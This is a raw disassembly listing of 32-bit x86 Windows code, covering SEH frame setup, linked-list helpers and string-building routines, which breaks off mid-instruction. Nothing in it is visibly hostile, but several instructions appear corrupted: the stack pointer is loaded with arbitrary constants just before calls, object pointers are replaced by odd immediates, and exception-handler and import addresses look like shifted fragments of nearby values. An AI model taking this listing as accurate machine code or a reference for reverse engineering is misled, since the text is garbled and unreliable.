offset off_437020 call sub_401AEB mov ecx, [esp+1Ch+var_C] mov eax, esi pop edi pop esi mov large fs:0, ecx add esp, 14h retn sub_40AC10 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ACD0 proc near ; CODE XREF: sub_401A05j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 6B1740h mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx push edi mov [esp+18h+var_10], esi mov dword ptr [esi], offset off_437020 lea edi, [esi+8Eh] mov [esp+18h+var_4], 3 mov ecx, edi call sub_401AEB mov ecx, edi mov byte ptr [esp+18h+var_4], 2 call sub_4014EC lea ecx, [esi+60h] mov byte ptr [esp+18h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+18h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+18h+var_C] pop edi pop esi mov large fs:0, ecx add esp, 10h retn sub_40ACD0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AD70 proc near ; CODE XREF: sub_401730j var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 758BA0h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi mov esi, ecx lea ecx, [esi+8Eh] call sub_401AEB push 0 push 14h push 13h push 9 push 0Ch push 4Eh push 12h push 1 push 16h lea eax, [esp+64h+var_3C] push 3 push eax call sub_4018DE add esp, 2Ch push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_401726 lea ecx, [esi+4] push eax push ecx mov edi, 8A758Bh call sub_401523 lea ecx, [esp+40h+var_3C] mov [esp+40h+var_4], 0FFFFFFFFh call sub_4011F9 push 0 push 14h push 5 push 7 push 4Fh push 12h push 1 push 16h lea edx, [esp+60h+var_3C] push 3 push edx call sub_4018DE add esp, 28h push esi mov ecx, eax mov [esp+44h+var_4], 1 call sub_401726 push eax lea eax, [esi+32h] push eax mov ecx, 28A758h call sub_401523 lea ecx, [esp+40h+var_3C] mov [esp+40h+var_4], 0FFFFFFFFh call sub_4011F9 push 0 push 14h push 5 push 13h push 4Eh push 12h push 1 push 16h lea ecx, [esp+60h+var_24] push 3 push ecx call sub_4018DE add esp, 28h push esi mov ecx, eax mov [esp+44h+var_4], 2 call sub_401726 add esi, 60h push eax push esi mov edx, offset byte_44A29D call sub_401523 mov [esp+40h+var_4], 0FFFFFFFFh lea ecx, [esp+40h+var_24] call sub_4011F9 mov ecx, [esp+40h+var_C] pop esi mov large fs:0, ecx add esp, 3Ch retn sub_40AD70 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AEF0 proc near ; CODE XREF: sub_401753j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = byte ptr 14h arg_14 = byte ptr 18h arg_18 = dword ptr 1Ch mov eax, [esp+arg_4] push esi mov esi, ecx push edi mov ecx, [esp+8+arg_0] push eax add ecx, 1Eh call sub_401E65 mov eax, [esp+8+arg_0] mov edx, [esp+8+arg_C] push edx lea ecx, [eax+33h] call sub_401E65 mov ecx, [esp+8+arg_0] mov dl, [esp+8+arg_10] mov edi, [esp+8+arg_8] mov [ecx+48h], dl mov eax, [esp+8+arg_0] push edi push eax mov ecx, esi call sub_401DED mov ecx, [esp+8+arg_0] mov dl, [esp+8+arg_14] push edi mov [ecx+4], dl mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_18] mov [eax+5], ecx mov ecx, [esp+0Ch+arg_0] call sub_401E65 lea edx, [esp+8+arg_0] lea ecx, [esi+8Eh] push edx call sub_40182F pop edi pop esi retn 1Ch sub_40AEF0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AF90 proc near ; CODE XREF: sub_401A69j var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h arg_14 = dword ptr 18h arg_18 = dword ptr 1Ch push 0FFFFFFFFh push 22514Eh mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 48h mov eax, [esp+54h+arg_C] push ebp push esi mov esi, ecx push edi push eax lea ecx, [esp+64h+var_24] call sub_4017A8 mov edi, eax mov ecx, [esp+60h+arg_8] mov [esp+60h+var_4], 0 push ecx lea ecx, [esp+64h+var_3C] call sub_4017A8 mov ebp, eax mov edx, [esp+60h+arg_4] lea ecx, [esp+60h+var_54] push edx mov byte ptr [esp+64h+var_4], 1 call sub_4017A8 mov ecx, [esp+60h+arg_18] mov edx, [esp+60h+arg_14] push ecx mov ecx, [esp+64h+arg_10] push edx mov edx, [esp+68h+arg_0] push ecx push edi push ebp push eax push edx mov ecx, esi mov byte ptr [esp+7Ch+var_4], 2 call sub_401753 lea ecx, [esp+60h+var_54] mov byte ptr [esp+60h+var_4], 1 call sub_4011F9 lea ecx, [esp+60h+var_3C] mov byte ptr [esp+60h+var_4], 0 call sub_4011F9 lea ecx, [esp+60h+var_24] mov [esp+60h+var_4], 0FFFFFFFFh call sub_4011F9 mov ecx, [esp+60h+var_C] pop edi pop esi pop ebp mov large fs:0, ecx add esp, 54h retn 1Ch sub_40AF90 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B080 proc near ; CODE XREF: sub_4018F7j var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 8 push esi mov esi, ecx push edi lea ecx, [esp+10h+var_8] call sub_4014D3 add esi, 8Eh lea eax, [esp+10h+var_4] push eax mov ecx, esi call sub_4013FC mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_401B54 push eax lea ecx, [esp+14h+var_8] call sub_401320 test al, al jz short loc_40B101 mov edi, [esp+10h+arg_0] loc_40B0C6: ; CODE XREF: sub_40B080+7Fj push edi lea ecx, [esp+14h+var_8] call sub_401E10 mov ecx, [eax] add ecx, 1Eh call sub_40201D test eax, eax lea ecx, [esp+10h+var_8] jz short loc_40B10B call sub_4012FD lea eax, [esp+10h+var_4] mov ecx, esi push eax call sub_401B54 push eax lea ecx, [esp+14h+var_8] call sub_401320 test al, al jnz short loc_40B0C6 loc_40B101: ; CODE XREF: sub_40B080+40j pop edi xor eax, eax pop esi add esp, 8 retn 8 ; --------------------------------------------------------------------------- loc_40B10B: ; CODE XREF: sub_40B080+60j call sub_401E10 mov eax, [eax] pop edi pop esi add esp, 8 retn 8 sub_40B080 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B150: ; CODE XREF: _294ADE7B:00401401j push 0FFFFFFFFh push 1128A7h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h mov eax, [esp+28h] push esi mov esi, ecx push eax lea ecx, [esp+8] call sub_4017A8 mov ecx, [esp+30h] mov dword ptr [esp+24h], 0 push ecx push eax mov ecx, esi call sub_4018F7 lea ecx, [esp+4] mov esi, eax mov dword ptr [esp+24h], 0FFFFFFFFh call sub_4011F9 mov ecx, [esp+1Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 24h retn 8 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B1E0 proc near ; CODE XREF: sub_401528j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_401564 mov ecx, esi call sub_401726 push eax call dword ptr ds:89453h fstp dword ptr [esi+15h] add esp, 4 mov ecx, esi call sub_401726 push eax call dword ptr ds:44A29h add esp, 4 mov ecx, esi mov [esi+1Ah], eax mov byte ptr [esi+19h], 0 push 22514h call sub_4012B7 test eax, eax jnz short loc_40B231 mov byte ptr [esi+19h], 1 loc_40B231: ; CODE XREF: sub_40B1E0+4Bj pop esi retn 8 sub_40B1E0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B260 proc near ; CODE XREF: sub_401DEDj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] mov ecx, esi mov eax, [edi+9] push eax call sub_401564 mov ecx, esi call sub_401726 push eax call dword_41128A fstp dword ptr [esi+15h] add esp, 4 mov ecx, esi call sub_401726 push eax call dword ptr ds:608945h add esp, 4 mov ecx, esi mov [esi+1Ah], eax mov byte ptr [esi+19h], 0 push 7044A2h call sub_4012B7 test eax, eax jnz short loc_40B2B5 mov byte ptr [esi+19h], 1 loc_40B2B5: ; CODE XREF: sub_40B260+4Fj mov cl, [edi+4] mov [esi+4], cl mov edx, [edi+5] mov [esi+5], edx pop edi pop esi retn 8 sub_40B260 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B2F0: ; CODE XREF: _294ADE7B:00401C1Cj fld dword ptr [esp+8] push esi mov esi, [esp+8] sub esp, 8 fstp qword ptr [esp] push 382251h push esi call sub_40102D mov eax, [esp+1Ch] add esp, 10h mov ecx, esi mov [esi+15h], eax call sub_401726 push eax call dword ptr ds:1C1128h fld dword ptr [esp+10h] fcomp ds:flt_437024 mov [esi+1Ah], eax add esp, 4 mov byte ptr [esi+19h], 0 fnstsw ax test ah, 1 jnz short loc_40B341 mov byte ptr [esi+19h], 1 loc_40B341: ; CODE XREF: _294ADE7B:0040B33Bj pop esi retn 8 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B370: ; CODE XREF: _294ADE7B:00401B77j push ebx mov bl, [esp+0Ch] test bl, bl push esi jz short loc_40B3A0 mov esi, [esp+0Ch] push 4E0894h mov ecx, esi call sub_401564 mov dword ptr [esi+15h], 3F800000h mov dword ptr [esi+1Ah], 1 mov [esi+19h], bl pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40B3A0: ; CODE XREF: _294ADE7B:0040B378j mov esi, [esp+0Ch] push 67044Ah mov ecx, esi call sub_401564 xor eax, eax mov [esi+19h], bl mov [esi+15h], eax mov [esi+1Ah], eax pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B3E0: ; CODE XREF: _294ADE7B:00401C44j push esi mov esi, [esp+8] push edi mov edi, [esp+10h] push edi push 338225h push esi call sub_40102D fild dword ptr [esp+1Ch] add esp, 0Ch cmp edi, 1 mov [esi+1Ah], edi mov byte ptr [esi+19h], 0 fstp dword ptr [esi+15h] jl short loc_40B410 mov byte ptr [esi+19h], 1 loc_40B410: ; CODE XREF: _294ADE7B:0040B40Aj pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B430: ; CODE XREF: _294ADE7B:loc_4019ECj mov eax, large fs:0 push 0FFFFFFFFh push 59C112h push eax mov large fs:0, esp sub esp, 4Ch push ebx push ebp push esi mov esi, [esp+68h] mov ebp, ecx push edi lea edi, [esi+7Eh] lea ecx, [ebp+4] call sub_401479 push eax mov ecx, edi call sub_4012B7 test eax, eax jnz loc_40B572 lea ebx, [esi+69h] mov ecx, ebx call sub_401479 mov cl, [esi+93h] push eax mov al, [esi+94h] push 2CE089h push eax push ecx mov esp, 8EB382h call sub_4010FF lea ecx, [esp+6Ch] call sub_4014D3 add ebp, 8Eh lea edx, [esp+10h] push edx mov ecx, ebp xor edi, edi call sub_4013FC mov eax, [eax] lea ecx, [esp+10h] push ecx mov ecx, ebp mov [esp+70h], eax call sub_401B54 push eax lea ecx, [esp+70h] call sub_401320 test al, al jz loc_40B56B loc_40B4D6: ; CODE XREF: _294ADE7B:0040B565j lea ecx, [esp+6Ch] inc edi call sub_401E10 mov ecx, [eax] add ecx, 33h call sub_401726 push eax lea ecx, [esp+70h] call sub_401E10 mov ecx, [eax] call sub_401726 push eax lea ecx, [esp+74h] call sub_401E10 mov ecx, [eax] add ecx, 1Eh call sub_401726 push eax push edi push 4F59C1h mov ecx, ebx call sub_401479 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push 67ACE0h call sub_40178F add esp, 24h push 73D670h call dword ptr ds:39EB38h lea ecx, [esp+6Ch] call sub_4012FD lea ecx, [esp+10h] push ecx mov ecx, ebp call sub_401B54 push eax lea ecx, [esp+70h] call sub_401320 test al, al jnz loc_40B4D6 loc_40B56B: ; CODE XREF: _294ADE7B:0040B4D0j mov al, 1 jmp loc_40B6FA ; --------------------------------------------------------------------------- loc_40B572: ; CODE XREF: _294ADE7B:0040B467j lea ecx, [ebp+32h] call sub_401726 push eax mov ecx, edi call sub_4012B7 test eax, eax jnz short loc_40B605 push 1CF59Ch lea edx, [esp+30h] push 1 push edx mov ecx, esi call sub_401622 push 1 push eax mov ecx, ebp mov dword ptr [esp+6Ch], 0 call sub_4018F7 lea ecx, [esp+2Ch] mov edi, eax mov dword ptr [esp+64h], 0FFFFFFFFh call sub_4011F9 test edi, edi jz loc_40B6F8 mov ecx, edi call sub_401726 push eax lea ecx, [edi+1Eh] call sub_401726 push eax push 4E7ACEh lea ecx, [esi+69h] call sub_401479 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push 673D67h call sub_40178F add esp, 1Ch jmp loc_40B6FA ; --------------------------------------------------------------------------- loc_40B605: ; CODE XREF: _294ADE7B:0040B584j lea ecx, [ebp+60h] call sub_401479 push eax mov ecx, edi call sub_4012B7 test eax, eax jnz loc_40B6F8 push 339EB3h lea edx, [esp+30h] push 1 push edx mov ecx, esi call sub_401622 push 1 push eax mov ecx, ebp mov dword ptr [esp+6Ch], 1 call sub_4018F7 lea ecx, [esp+2Ch] mov edi, eax mov dword ptr [esp+64h], 0FFFFFFFFh call sub_4011F9 test edi, edi jz loc_40B6F8 push edi lea ecx, [esp+18h] call sub_40146F mov esi, 8B39EBh push 1 push 4D9CF5h lea eax, [esp+4Ch] push ebx push eax mov ecx, esi mov [esp+74h], ebx call sub_4011C2 push eax push edi mov ecx, ebp mov byte ptr [esp+6Ch], 3 call sub_401DED lea ecx, [esp+44h] mov [esp+64h], bl call sub_4011F9 lea ecx, [esp+14h] call sub_401726 push eax mov ecx, edi call sub_401726 push eax lea ecx, [edi+1Eh] call sub_401726 push eax push 26CE7Ah lea ecx, [esi+69h] call sub_401479 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push 13673Dh call sub_40178F add esp, 20h lea ecx, [esp+14h] mov dword ptr [esp+64h], 0FFFFFFFFh call sub_4011F9 mov al, 1 jmp short loc_40B6FA ; --------------------------------------------------------------------------- loc_40B6F8: ; CODE XREF: _294ADE7B:0040B5C0j ; _294ADE7B:0040B617j ... xor al, al loc_40B6FA: ; CODE XREF: _294ADE7B:0040B56Dj ; _294ADE7B:0040B600j ... mov ecx, [esp+5Ch] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 58h retn 4 ; --------------------------------------------------------------------------- db 90h db 0C0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B7D0 proc near ; CODE XREF: sub_401AF0j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_402036 mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 sub_40B7D0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B810 proc near ; CODE XREF: sub_4014ECj var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401B54 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_4013FC mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_401221 mov edx, [esi+4] mov ecx, esi push edx call sub_401E74 xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn sub_40B810 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B880 proc near ; CODE XREF: sub_4013FCj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_401F78 mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_401451 mov eax, esi pop esi retn 4 sub_40B880 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B8C0 proc near ; CODE XREF: sub_401B54j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_401451 mov eax, esi pop esi retn 4 sub_40B8C0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B8F0 proc near ; CODE XREF: sub_40182Fj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_401B54 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401B2C pop esi pop ecx retn 4 sub_40B8F0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B930 proc near ; CODE XREF: sub_401AEBj var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401B54 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_4013FC mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_401221 pop esi add esp, 0Ch retn sub_40B930 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B980 proc near ; CODE XREF: sub_4014D3j push esi mov esi, ecx call sub_401FAF mov eax, esi pop esi retn sub_40B980 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B9A0 proc near ; CODE XREF: sub_401E10j mov eax, [ecx] push eax call sub_401780 add esp, 4 retn sub_40B9A0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B9C0 proc near ; CODE XREF: sub_4012FDj push esi mov esi, ecx mov eax, [esi] push eax call sub_401F78 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_40B9C0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B9F0 proc near ; CODE XREF: sub_401320j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401BC7 neg al sbb eax, eax inc eax retn 4 sub_40B9F0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BA20 proc near ; CODE XREF: sub_401B2Cj arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401618 mov edi, eax push edi call sub_401FB4 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_402036 push edi mov ebx, eax call sub_401FB4 push edi mov [eax], ebx call sub_401FB4 mov edi, [eax] push edi call sub_401FB4 mov ecx, [eax] push ecx call sub_401F78 mov edx, [esp+1Ch+arg_8] add esp, 10h mov [eax], edi push edx push edi call sub_401780 add esp, 4 mov ecx, esi push eax call sub_401DD9 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+10h+arg_0] mov ecx, esi call sub_401451 mov eax, esi pop edi pop esi pop ebx retn 0Ch sub_40BA20 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BAC0 proc near ; CODE XREF: sub_401221j var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401320 test al, al jz short loc_40BB1A loc_40BAD8: ; CODE XREF: sub_40BAC0+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_401A91 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401069 lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401320 test al, al jnz short loc_40BAD8 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_40BB1A: ; CODE XREF: sub_40BAC0+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_40BAC0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BB50 proc near ; CODE XREF: sub_402036j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_4014F6 mov edi, [esp+8+arg_0] mov esi, eax test edi, edi jnz short loc_40BB65 mov edi, esi loc_40BB65: ; CODE XREF: sub_40BB50+11j push esi call sub_401F78 mov [eax], edi mov edi, [esp+0Ch+arg_4] add esp, 4 test edi, edi jnz short loc_40BB7A mov edi, esi loc_40BB7A: ; CODE XREF: sub_40BB50+26j push esi call sub_401FB4 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 sub_40BB50 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BBA0 proc near ; CODE XREF: sub_401E74j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401EEC retn 4 sub_40BBA0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BBC0 proc near ; CODE XREF: sub_401F78j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_40BBC0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BBE0 proc near ; CODE XREF: sub_401780j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_40BBE0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BC00 proc near ; CODE XREF: sub_401FAFj mov eax, ecx retn sub_40BC00 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BC20 proc near ; CODE XREF: sub_401451j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_401055 mov eax, esi pop esi retn 4 sub_40BC20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BC50 proc near ; CODE XREF: sub_401BC7j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_40BC50 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BC80 proc near ; CODE XREF: sub_401069j var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_401A91 mov ecx, eax call sub_401618 mov esi, eax push esi call sub_401F78 push esi mov ebx, eax call sub_401FB4 mov ecx, [eax] push ecx call sub_401F78 mov edx, [ebx] push esi mov [eax], edx call sub_401FB4 push esi mov ebx, eax call sub_401F78 mov eax, [eax] push eax call sub_401FB4 mov ecx, [ebx] push esi mov [eax], ecx call sub_401780 add esp, 1Ch mov ecx, edi push eax call sub_4011F4 push esi mov ecx, edi call sub_401E74 mov eax, [edi+8] mov edx, [esp+10h+arg_4] dec eax mov [edi+8], eax mov eax, [esp+10h+arg_0] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 sub_40BC80 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BD40 proc near ; CODE XREF: sub_401FB4j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_40BD40 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BD60 proc near ; CODE XREF: sub_4014F6j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401BF4 add esp, 8 retn 4 sub_40BD60 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BD90 proc near ; CODE XREF: sub_401EECj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_430332 pop ecx retn 8 sub_40BD90 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BDB0 proc near ; CODE XREF: sub_401DD9j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40118B add esp, 8 retn 8 sub_40BDB0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BDE0 proc near ; CODE XREF: sub_401055j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_40BDE0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BE00 proc near ; CODE XREF: sub_401618j mov eax, [ecx] retn sub_40BE00 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BE20 proc near ; CODE XREF: sub_401A91j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_4012FD mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_40BE20 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BE50 proc near ; CODE XREF: sub_4011F4j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_3 pop ecx retn 4 sub_40BE50 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BE70 proc near ; CODE XREF: sub_40118Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011A4 add esp, 8 test eax, eax jz short locret_40BE8B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_40BE8B: ; CODE XREF: sub_40BE70+11j retn sub_40BE70 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BEC0 proc near ; CODE XREF: sub_401046j var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 9B39Eh mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 4 push 4 push 1 push 13h lea eax, [esp+58h+var_3C] push 1 mov esi, ecx push eax call sub_4018DE add esp, 1Ch push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_401726 lea ecx, [esi+19h] push eax push ecx mov esp, 6626CEh call sub_401523 or edi, 0FFFFFFFFh lea ecx, [esp+44h+var_3C] mov [esp+44h+var_4], edi call sub_4011F9 push 0 push 0Ch push 5 push 4 push 13h lea edx, [esp+58h+var_3C] push 1 push edx call sub_4018DE add esp, 1Ch push esi mov ecx, eax mov [esp+48h+var_4], 1 call sub_401726 push eax lea eax, [esi+47h] push eax mov esi, 0C5989Bh call sub_401523 lea ecx, [esp+44h+var_3C] mov [esp+44h+var_4], edi call sub_4011F9 push 0 push 4 push 4 push 1 push 3 push 16h lea ecx, [esp+5Ch+var_3C] push 13h push ecx call sub_4018DE add esp, 20h push esi mov ecx, eax mov [esp+48h+var_4], 2 call sub_401726 lea edx, 